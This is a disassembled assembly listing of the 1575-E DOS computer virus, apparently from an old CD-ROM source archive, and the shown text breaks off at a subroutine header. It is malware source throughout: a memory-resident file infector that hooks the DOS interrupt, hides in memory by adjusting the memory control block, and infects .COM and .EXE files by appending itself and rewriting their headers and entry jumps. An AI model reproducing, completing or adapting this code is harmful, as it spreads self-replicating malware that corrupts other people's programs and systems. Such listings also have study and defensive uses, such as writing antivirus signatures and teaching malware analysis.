home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / 1575-E.ASM < prev    next >
Assembly Source File  |  1992-10-08  |  21KB  |  984 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    1575-E                         ██
  7. ;██                                         ██
  8. ;██      Created:   23-May-92                             ██
  9. ;██      Passes:    5           Analysis Options on: none             ██
  10. ;██                                         ██
  11. ;██████████████████████████████████████████████████████████████████████████
  12.  
  13. data_1e        equ    6
  14. data_2e        equ    84h
  15. data_3e        equ    86h
  16. data_4e        equ    100h
  17. data_10e    equ    31Fh
  18. data_12e    equ    0            ;*
  19. data_13e    equ    3            ;*
  20. data_14e    equ    12h            ;*
  21. data_15e    equ    0
  22. data_55e    equ    0FA0h
  23. data_56e    equ    6B0h
  24. data_57e    equ    725h
  25.  
  26. seg_a        segment    byte public
  27.         assume    cs:seg_a, ds:seg_a
  28.  
  29.  
  30.         org    100h
  31.  
  32. 1575-e        proc    far
  33.  
  34. start:
  35.         jmp    short loc_4
  36.         db    90h
  37. data_17        dw    0B2Bh, 103Eh
  38. data_19        dw    0FF53h
  39. data_20        dw    0F000h
  40. data_21        db    0B4h
  41.         db    2
  42. data_22        dw    2AB2h
  43. data_23        dw    21CDh
  44.         db    0CDh, 20h
  45. data_24        dw    0E5h
  46.         db     3Dh, 02h,0FFh,0FFh
  47. data_25        dw    50Fh
  48. data_26        dw    100h
  49.                 db       26h,0D9h
  50. data_27        dw    100h
  51. data_28        dw    50Fh
  52. data_29        dw    480h
  53. data_30        dw    0
  54. data_31        dw    0
  55. data_32        dw    53F0h
  56. data_33        dw    5
  57. data_34        dw    648Ch
  58. data_35        dw    789Fh
  59. data_36        dw    480h
  60. data_37        dw    0BD1h
  61. data_38        dw    1213h
  62. data_39        dw    0EA2h
  63. data_40        dw    5BFh
  64. data_41        db    4Dh
  65. data_42        db    31h
  66.         db     68h, 7Dh, 02h,0FBh, 07h
  67.         db     70h, 00h
  68.  
  69. loc_ret_2:
  70.         retn
  71.         db    0E2h, 00h
  72.         db    0F0h,0FBh, 07h, 70h, 00h
  73. loc_4:
  74.         push    es
  75.         push    ds
  76.         mov    ax,es
  77.         push    cs
  78.         pop    ds
  79.         push    cs
  80.         pop    es
  81.         mov    data_38,ax
  82.         mov    ax,ss
  83.         mov    data_33,ax
  84.         std                ; Set direction flag
  85.         mov    ax,7076h
  86.         cld                ; Clear direction
  87.         xor    ax,ax            ; Zero register
  88.         mov    ds,ax
  89.         xor    si,si            ; Zero register
  90.         mov    di,offset data_42
  91.         mov    cx,10h
  92.         repne    movsb            ; Rep zf=0+cx >0 Mov [si] to es:[di]
  93.         push    ds
  94.         pop    ss
  95.         mov    bp,8
  96.         xchg    bp,sp
  97.         call    sub_2
  98.         jmp    loc_27
  99. loc_5:
  100.         call    sub_13
  101.         call    sub_3
  102.         jz    loc_6            ; Jump if zero
  103.         mov    al,data_53
  104.         push    ax
  105.         call    sub_4
  106.         pop    ax
  107.         mov    data_53,al
  108.         jmp    short loc_7
  109.         db    90h
  110. loc_6:
  111.         call    sub_6
  112.         call    sub_7
  113.         cmp    byte ptr data_53,0
  114.         jne    loc_7            ; Jump if not equal
  115.         mov    ax,4C00h
  116.         int    21h            ; DOS Services  ah=function 4Ch
  117.                         ;  terminate with al=return code
  118. loc_7:
  119.         cmp    byte ptr data_53,43h    ; 'C'
  120.         jne    loc_10            ; Jump if not equal
  121. loc_8:
  122.         pop    ds
  123.         pop    es
  124.         push    cs
  125.         pop    ds
  126.         pop    es
  127.         push    es
  128.         mov    di,data_4e
  129.         mov    si,offset data_21
  130.         mov    cx,0Ch
  131.         repne    movsb            ; Rep zf=0+cx >0 Mov [si] to es:[di]
  132.         push    es
  133.         pop    ds
  134.         mov    ax,100h
  135.         push    ax
  136.         xor    ax,ax            ; Zero register
  137.         retf                ; Return far
  138.  
  139. 1575-e        endp
  140.  
  141. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  142. ;                   SUBROUTINE
  143. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  144.  
  145. sub_2        proc    near
  146.         mov    si,data_1e
  147.         lodsw                ; String [si] to ax
  148.         cmp    ax,192h
  149.         je    loc_8            ; Jump if equal
  150.         cmp    ax,179h
  151.         jne    loc_9            ; Jump if not equal
  152.         jmp    loc_12
  153. loc_9:
  154.         cmp    ax,1DCh
  155.         je    loc_10            ; Jump if equal
  156.         retn
  157. loc_10:
  158.         pop    ds
  159.         pop    es
  160.         mov    bx,cs:data_25
  161.         sub    bx,cs:data_36
  162.         mov    ax,cs
  163.         sub    ax,bx
  164.         mov    ss,ax
  165.         mov    bp,cs:data_37
  166.         xchg    bp,sp
  167.         mov    bx,cs:data_28
  168.         sub    bx,cs:data_29
  169.         mov    ax,cs
  170.         sub    ax,bx
  171.         push    ax
  172.         mov    ax,cs:data_30
  173.         push    ax
  174.         retf                ; Return far
  175. data_43        db    23h
  176.         db    1Ah
  177.         db    '<#/--!.$'
  178.         db     0Eh, 23h, 2Fh, 2Dh,0E0h
  179. data_44        db    'A:MIO.COM', 0
  180.         db     58h, 45h, 00h, 00h, 00h
  181.         db     24h, 24h, 24h, 24h, 24h
  182.  
  183. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  184.  
  185. sub_3:
  186.         mov    ax,3D02h
  187.         mov    dx,offset data_44    ; ('A:MIO.COM')
  188.         int    21h            ; DOS Services  ah=function 3Dh
  189.                         ;  open file, al=mode,name@ds:dx
  190.         jnc    loc_11            ; Jump if carry=0
  191.         clc                ; Clear carry flag
  192.         retn
  193. loc_11:
  194.         mov    data_33,ax
  195.         mov    dx,offset int_24h_entry
  196.         mov    ax,2524h
  197.         int    21h            ; DOS Services  ah=function 25h
  198.                         ;  set intrpt vector al to ds:dx
  199.         mov    ax,4202h
  200.         mov    bx,data_33
  201.         mov    cx,0FFFFh
  202.         mov    dx,0FFFEh
  203.         int    21h            ; DOS Services  ah=function 42h
  204.                         ;  move file ptr, bx=file handle
  205.                         ;   al=method, cx,dx=offset
  206.         mov    dx,offset data_45
  207.         mov    ah,3Fh            ; '?'
  208.         mov    bx,data_33
  209.         mov    cx,2
  210.         int    21h            ; DOS Services  ah=function 3Fh
  211.                         ;  read file, bx=file handle
  212.                         ;   cx=bytes to ds:dx buffer
  213.         mov    ah,3Eh            ; '>'
  214.         int    21h            ; DOS Services  ah=function 3Eh
  215.                         ;  close file, bx=file handle
  216.         push    ds
  217.         mov    dx,data_40
  218.         mov    ax,data_39
  219.         mov    ds,ax
  220.         mov    ax,2524h
  221.         int    21h            ; DOS Services  ah=function 25h
  222.                         ;  set intrpt vector al to ds:dx
  223.         pop    ds
  224.         cmp    data_45,0A0Ch
  225.         clc                ; Clear carry flag
  226.         retn
  227. data_45        dw    20CDh
  228. loc_12:
  229.         cmp    ax,22Dh
  230.         je    loc_13            ; Jump if equal
  231.         push    ds
  232.         pop    es
  233.         push    cs
  234.         pop    ds
  235.         mov    ax,data_33
  236.         mov    ss,ax
  237.         xchg    bp,sp
  238.         mov    si,offset data_42
  239.         mov    di,data_15e
  240.         mov    cx,10h
  241.         cld                ; Clear direction
  242.         repne    movsb            ; Rep zf=0+cx >0 Mov [si] to es:[di]
  243.         jmp    loc_5
  244. sub_2        endp
  245.  
  246.  
  247. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  248. ;                   SUBROUTINE
  249. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  250.  
  251. sub_4        proc    near
  252. loc_13:
  253.         mov    al,43h            ; 'C'
  254.         mov    data_53,al
  255.         mov    al,8
  256.         out    70h,al            ; port 70h, RTC addr/enabl NMI
  257.                         ;  al = 8, month register
  258.         in    al,71h            ; port 71h, RTC clock/RAM data
  259.         mov    data_41,al
  260.         mov    dx,offset data_44    ; ('A:MIO.COM')
  261.         mov    ax,3D02h
  262.         int    21h            ; DOS Services  ah=function 3Dh
  263.                         ;  open file, al=mode,name@ds:dx
  264.         jnc    loc_14            ; Jump if carry=0
  265.         retn
  266. loc_14:
  267.         mov    data_33,ax
  268.         mov    dx,offset data_21
  269.         mov    bx,data_33
  270.         mov    cx,0Ch
  271.         mov    ah,3Fh            ; '?'
  272.         int    21h            ; DOS Services  ah=function 3Fh
  273.                         ;  read file, bx=file handle
  274.                         ;   cx=bytes to ds:dx buffer
  275.         mov    ax,4202h
  276.         xor    cx,cx            ; Zero register
  277.         xor    dx,dx            ; Zero register
  278.         int    21h            ; DOS Services  ah=function 42h
  279.                         ;  move file ptr, bx=file handle
  280.                         ;   al=method, cx,dx=offset
  281.         push    ax
  282.         add    ax,10h
  283.         and    ax,0FFF0h
  284.         push    ax
  285.         shr    ax,1            ; Shift w/zeros fill
  286.         shr    ax,1            ; Shift w/zeros fill
  287.         shr    ax,1            ; Shift w/zeros fill
  288.         shr    ax,1            ; Shift w/zeros fill
  289.         mov    di,data_10e
  290.         stosw                ; Store ax to es:[di]
  291.         pop    ax
  292.         pop    bx
  293.         sub    ax,bx
  294.         mov    cx,627h
  295.         add    cx,ax
  296.         mov    dx,100h
  297.         sub    dx,ax
  298.         mov    bx,data_33
  299.         mov    ah,40h            ; '@'
  300.         int    21h            ; DOS Services  ah=function 40h
  301.                         ;  write file  bx=file handle
  302.                         ;   cx=bytes from ds:dx buffer
  303.         mov    ax,4200h
  304.         xor    cx,cx            ; Zero register
  305.         xor    dx,dx            ; Zero register
  306.         int    21h            ; DOS Services  ah=function 42h
  307.                         ;  move file ptr, bx=file handle
  308.                         ;   al=method, cx,dx=offset
  309.         mov    ah,40h            ; '@'
  310.         mov    bx,data_33
  311.         mov    cx,0Ch
  312.         mov    dx,offset data_46
  313.         int    21h            ; DOS Services  ah=function 40h
  314.                         ;  write file  bx=file handle
  315.                         ;   cx=bytes from ds:dx buffer
  316.         mov    ah,3Eh            ; '>'
  317.         mov    bx,data_33
  318.         int    21h            ; DOS Services  ah=function 3Eh
  319.                         ;  close file, bx=file handle
  320.         retn
  321. sub_4        endp
  322.  
  323. data_46        db    0Eh
  324.         db     8Ch,0C8h, 05h, 01h, 00h, 50h
  325.         db    0B8h, 00h, 01h, 50h,0CBh
  326.  
  327. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  328. ;                   SUBROUTINE
  329. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  330.  
  331. sub_5        proc    near
  332.         mov    al,45h            ; 'E'
  333.         mov    data_53,al
  334.         mov    al,8
  335.         out    70h,al            ; port 70h, RTC addr/enabl NMI
  336.                         ;  al = 8, month register
  337.         in    al,71h            ; port 71h, RTC clock/RAM data
  338.         mov    data_41,al
  339.         mov    dx,offset data_44    ; ('A:MIO.COM')
  340.         mov    ax,3D02h
  341.         int    21h            ; DOS Services  ah=function 3Dh
  342.                         ;  open file, al=mode,name@ds:dx
  343.         jnc    loc_15            ; Jump if carry=0
  344.         retn
  345. loc_15:
  346.         mov    data_33,ax
  347.         mov    dx,offset data_21
  348.         mov    bx,data_33
  349.         mov    cx,18h
  350.         mov    ah,3Fh            ; '?'
  351.         int    21h            ; DOS Services  ah=function 3Fh
  352.                         ;  read file, bx=file handle
  353.                         ;   cx=bytes to ds:dx buffer
  354.         mov    ax,4202h
  355.         mov    cx,0
  356.         mov    dx,0
  357.         int    21h            ; DOS Services  ah=function 42h
  358.                         ;  move file ptr, bx=file handle
  359.                         ;   al=method, cx,dx=offset
  360.         push    ax
  361.         add    ax,10h
  362.         adc    dx,0
  363.         and    ax,0FFF0h
  364.         mov    data_31,dx
  365.         mov    data_32,ax
  366.         mov    cx,727h
  367.         sub    cx,100h
  368.         add    ax,cx
  369.         adc    dx,0
  370.         mov    cx,200h
  371.         div    cx            ; ax,dx rem=dx:ax/reg
  372.         inc    ax
  373.         mov    data_23,ax
  374.         mov    data_22,dx
  375.         mov    ax,data_28
  376.         mov    data_29,ax
  377.         mov    ax,data_27
  378.         mov    data_30,ax
  379.         mov    ax,data_25
  380.         mov    data_36,ax
  381.         mov    ax,data_26
  382.         mov    data_37,ax
  383.         mov    dx,data_31
  384.         mov    ax,data_32
  385.         mov    cx,10h
  386.         div    cx            ; ax,dx rem=dx:ax/reg
  387.         sub    ax,10h
  388.         sub    ax,data_24
  389.         mov    data_28,ax
  390.         mov    data_25,ax
  391.         mov    data_27,100h
  392.         mov    data_26,100h
  393.         mov    ax,4200h
  394.         xor    cx,cx            ; Zero register
  395.         mov    dx,2
  396.         int    21h            ; DOS Services  ah=function 42h
  397.                         ;  move file ptr, bx=file handle
  398.                         ;   al=method, cx,dx=offset
  399.         mov    dx,offset data_22
  400.         mov    bx,data_33
  401.         mov    cx,16h
  402.         mov    ah,40h            ; '@'
  403.         int    21h            ; DOS Services  ah=function 40h
  404.                         ;  write file  bx=file handle
  405.                         ;   cx=bytes from ds:dx buffer
  406.         mov    ax,4202h
  407.         xor    cx,cx            ; Zero register
  408.         xor    dx,dx            ; Zero register
  409.         int    21h            ; DOS Services  ah=function 42h
  410.                         ;  move file ptr, bx=file handle
  411.                         ;   al=method, cx,dx=offset
  412.         mov    dx,100h
  413.         mov    ax,data_32
  414.         pop    cx
  415.         sub    ax,cx
  416.         sub    dx,ax
  417.         mov    cx,727h
  418.         add    cx,ax
  419.         sub    cx,100h
  420.         mov    ah,40h            ; '@'
  421.         int    21h            ; DOS Services  ah=function 40h
  422.                         ;  write file  bx=file handle
  423.                         ;   cx=bytes from ds:dx buffer
  424.         mov    ah,3Eh            ; '>'
  425.         int    21h            ; DOS Services  ah=function 3Eh
  426.                         ;  close file, bx=file handle
  427.         retn
  428. sub_5        endp
  429.  
  430.         push    cx
  431.         mov    cx,0
  432.         mov    ah,4Eh            ; 'N'
  433.         int    21h            ; DOS Services  ah=function 4Eh
  434.                         ;  find 1st filenam match @ds:dx
  435.         pop    cx
  436.         retn
  437.  
  438. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  439. ;                   SUBROUTINE
  440. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  441.  
  442. sub_6        proc    near
  443.         push    es
  444.         mov    ax,351Ch
  445.         int    21h            ; DOS Services  ah=function 35h
  446.                         ;  get intrpt vector al in es:bx
  447.         mov    cs:data_19,bx
  448.         mov    cs:data_20,es
  449.         mov    ax,3521h
  450.         int    21h            ; DOS Services  ah=function 35h
  451.                         ;  get intrpt vector al in es:bx
  452.         push    es
  453.         pop    ax
  454.         mov    word ptr cs:data_17+2,ax
  455.         mov    cs:data_17,bx
  456.         pop    es
  457.         retn
  458. sub_6        endp
  459.  
  460.  
  461. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  462. ;                   SUBROUTINE
  463. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  464.  
  465. sub_7        proc    near
  466.         push    ax
  467.         push    es
  468.         push    ds
  469.         xor    ax,ax            ; Zero register
  470.         mov    es,ax
  471.         mov    si,data_3e
  472.         mov    ax,es:[si]
  473.         mov    ds,ax
  474.         mov    si,data_57e
  475.         cmp    word ptr [si],0A0Ch
  476.         jne    loc_16            ; Jump if not equal
  477.         push    ds
  478.         pop    ax
  479.         call    sub_14
  480.         pop    ds
  481.         pop    es
  482.         pop    ax
  483.         retn
  484. loc_16:
  485.         push    cs
  486.         pop    ds
  487.         mov    ax,data_38
  488.         dec    ax
  489.         mov    es,ax
  490.         cmp    byte ptr es:data_12e,5Ah    ; 'Z'
  491.         nop                ;*ASM fixup - sign extn byte
  492.         je    loc_17            ; Jump if equal
  493.         jmp    short loc_18
  494.         db    90h
  495. loc_17:
  496.         mov    ax,es:data_13e
  497.         mov    cx,737h
  498.         shr    cx,1            ; Shift w/zeros fill
  499.         shr    cx,1            ; Shift w/zeros fill
  500.         shr    cx,1            ; Shift w/zeros fill
  501.         shr    cx,1            ; Shift w/zeros fill
  502.         sub    ax,cx
  503.         jc    loc_18            ; Jump if carry Set
  504.         mov    es:data_13e,ax
  505.         sub    es:data_14e,cx
  506.         push    cs
  507.         pop    ds
  508.         mov    ax,es:data_14e
  509.         push    ax
  510.         pop    es
  511.         mov    si,100h
  512.         push    si
  513.         pop    di
  514.         mov    cx,627h
  515.         cld                ; Clear direction
  516.         repne    movsb            ; Rep zf=0+cx >0 Mov [si] to es:[di]
  517.         push    es
  518.         sub    ax,ax
  519.         mov    es,ax
  520.         mov    si,data_2e
  521.         mov    dx,4A8h
  522.         mov    es:[si],dx
  523.         inc    si
  524.         inc    si
  525.         pop    ax
  526.         mov    es:[si],ax
  527. loc_18:
  528.         pop    ds
  529.         pop    es
  530.         pop    ax
  531.         retn
  532. sub_7        endp
  533.  
  534.         cmp    al,57h            ; 'W'
  535.         jne    loc_19            ; Jump if not equal
  536.         jmp    short loc_22
  537.         db    90h
  538. loc_19:
  539.         cmp    ah,1Ah
  540.         jne    loc_20            ; Jump if not equal
  541.         call    sub_12
  542.         jmp    short loc_22
  543.         db    90h
  544. loc_20:
  545.         cmp    ah,11h
  546.         jne    loc_21            ; Jump if not equal
  547.         call    sub_8
  548.         iret                ; Interrupt return
  549. loc_21:
  550.         cmp    ah,12h
  551.         jne    loc_22            ; Jump if not equal
  552.         call    sub_11
  553.         iret                ; Interrupt return
  554. loc_22:
  555.         jmp    dword ptr cs:data_17
  556.  
  557. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  558. ;                   SUBROUTINE
  559. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  560.  
  561. sub_8        proc    near
  562.         mov    al,57h            ; 'W'
  563.         int    21h            ; DOS Services  ah=function 00h
  564.                         ;  terminate, cs=progm seg prefx
  565.         push    ax
  566.         push    cx
  567.         push    dx
  568.         push    bx
  569.         push    bp
  570.         push    si
  571.         push    di
  572.         push    ds
  573.         push    es
  574.         push    cs
  575.         pop    ds
  576.         push    cs
  577.         pop    es
  578.         mov    byte ptr cs:data_47,0
  579.         nop
  580.         call    sub_9
  581.         jnz    loc_23            ; Jump if not zero
  582.         call    sub_3
  583.         jz    loc_23            ; Jump if zero
  584.         call    sub_16
  585.         dec    data_47
  586. loc_23:
  587.         pop    es
  588.         pop    ds
  589.         pop    di
  590.         pop    si
  591.         pop    bp
  592.         pop    bx
  593.         pop    dx
  594.         pop    cx
  595.         pop    ax
  596.         retn
  597. sub_8        endp
  598.  
  599.  
  600. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  601. ;                   SUBROUTINE
  602. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  603.  
  604. sub_9        proc    near
  605.         push    cs
  606.         pop    es
  607.         push    cs
  608.         pop    es
  609.         cld                ; Clear direction
  610.         call    sub_10
  611.         jnc    loc_24            ; Jump if carry=0
  612.         cmp    di,0
  613.         retn
  614. loc_24:
  615.         mov    di,offset data_44    ; ('A:MIO.COM')
  616.         mov    al,2Eh            ; '.'
  617.         mov    cx,0Bh
  618.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  619.         cmp    word ptr [di],4F43h
  620.         jne    loc_25            ; Jump if not equal
  621.         cmp    byte ptr [di+2],4Dh    ; 'M'
  622.         jne    loc_25            ; Jump if not equal
  623.         mov    byte ptr data_53,43h    ; 'C'
  624.         nop
  625.         retn
  626. loc_25:
  627.         cmp    word ptr [di],5845h
  628.         jne    loc_ret_26        ; Jump if not equal
  629.         cmp    byte ptr [di+2],45h    ; 'E'
  630.         jne    loc_ret_26        ; Jump if not equal
  631.         mov    byte ptr data_53,45h    ; 'E'
  632.         nop
  633.  
  634. loc_ret_26:
  635.         retn
  636. sub_9        endp
  637.  
  638.  
  639. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  640. ;                   SUBROUTINE
  641. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  642.  
  643. sub_10        proc    near
  644. loc_27:
  645.         push    ds
  646.         mov    si,cs:data_34
  647.         mov    ax,cs:data_35
  648.         mov    ds,ax
  649.         mov    di,offset data_44    ; ('A:MIO.COM')
  650.         lodsb                ; String [si] to al
  651.         cmp    al,0FFh
  652.         jne    loc_28            ; Jump if not equal
  653.         add    si,6
  654.         lodsb                ; String [si] to al
  655.         jmp    short loc_29
  656.         db    90h
  657. loc_28:
  658.         cmp    al,5
  659.         jb    loc_29            ; Jump if below
  660.         pop    ds
  661.         stc                ; Set carry flag
  662.         retn
  663. loc_29:
  664.         mov    cx,0Bh
  665.         cmp    al,0
  666.         je    locloop_30        ; Jump if equal
  667.         add    al,40h            ; '@'
  668.         stosb                ; Store al to es:[di]
  669.         mov    al,3Ah            ; ':'
  670.         stosb                ; Store al to es:[di]
  671.  
  672. locloop_30:
  673.         lodsb                ; String [si] to al
  674.         cmp    al,20h            ; ' '
  675.         je    loc_31            ; Jump if equal
  676.         stosb                ; Store al to es:[di]
  677.         jmp    short loc_32
  678.         db    90h
  679. loc_31:
  680.         cmp    byte ptr es:[di-1],2Eh    ; '.'
  681.         je    loc_32            ; Jump if equal
  682.         mov    al,2Eh            ; '.'
  683.         stosb                ; Store al to es:[di]
  684. loc_32:
  685.         loop    locloop_30        ; Loop if cx > 0
  686.  
  687.         mov    al,0
  688.         stosb                ; Store al to es:[di]
  689.         pop    ds
  690.         clc                ; Clear carry flag
  691.         retn
  692. sub_10        endp
  693.  
  694.  
  695. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  696. ;                   SUBROUTINE
  697. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  698.  
  699. sub_11        proc    near
  700.         mov    al,57h            ; 'W'
  701.         int    21h            ; DOS Services  ah=function 00h
  702.                         ;  terminate, cs=progm seg prefx
  703.         push    ax
  704.         push    cx
  705.         push    dx
  706.         push    bx
  707.         push    bp
  708.         push    si
  709.         push    di
  710.         push    ds
  711.         push    es
  712.         push    cs
  713.         pop    ds
  714.         push    cs
  715.         pop    es
  716.         cmp    byte ptr cs:data_47,0
  717.         je    loc_33            ; Jump if equal
  718.         jmp    short loc_34
  719.         db    90h
  720. loc_33:
  721.         call    sub_9
  722.         jnz    loc_34            ; Jump if not zero
  723.         call    sub_3
  724.         jz    loc_34            ; Jump if zero
  725.         call    sub_16
  726.         dec    data_47
  727.         pop    es
  728.         pop    ds
  729.         pop    di
  730.         pop    si
  731.         pop    bp
  732.         pop    bx
  733.         pop    dx
  734.         pop    cx
  735.         pop    ax
  736.         retn
  737. loc_34:
  738.         pop    es
  739.         pop    ds
  740.         pop    di
  741.         pop    si
  742.         pop    bp
  743.         pop    bx
  744.         pop    dx
  745.         pop    cx
  746.         pop    ax
  747.         retn
  748. sub_11        endp
  749.  
  750. data_47        db    0
  751.  
  752. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  753. ;                   SUBROUTINE
  754. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  755.  
  756. sub_12        proc    near
  757.         push    ax
  758.         push    ds
  759.         pop    ax
  760.         mov    cs:data_35,ax
  761.         mov    cs:data_34,dx
  762.         pop    ax
  763.         retn
  764. sub_12        endp
  765.  
  766.  
  767. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  768. ;                   SUBROUTINE
  769. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  770.  
  771. sub_13        proc    near
  772.         push    cs
  773.         mov    al,0
  774.         out    20h,al            ; port 20h, 8259-1 int command
  775.         mov    ax,3524h
  776.         int    21h            ; DOS Services  ah=function 35h
  777.                         ;  get intrpt vector al in es:bx
  778.         mov    data_40,bx
  779.         mov    bx,es
  780.         mov    data_39,bx
  781.         pop    es
  782.         mov    si,offset data_43
  783.         mov    di,offset data_44    ; ('A:MIO.COM')
  784.         mov    cx,0Fh
  785.  
  786. locloop_35:
  787.         lodsb                ; String [si] to al
  788.         add    al,20h            ; ' '
  789.         stosb                ; Store al to es:[di]
  790.         loop    locloop_35        ; Loop if cx > 0
  791.  
  792.         retn
  793. sub_13        endp
  794.  
  795.  
  796. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  797. ;                   SUBROUTINE
